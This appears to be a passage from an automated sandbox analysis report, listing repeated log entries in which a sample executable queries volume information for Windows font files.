Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
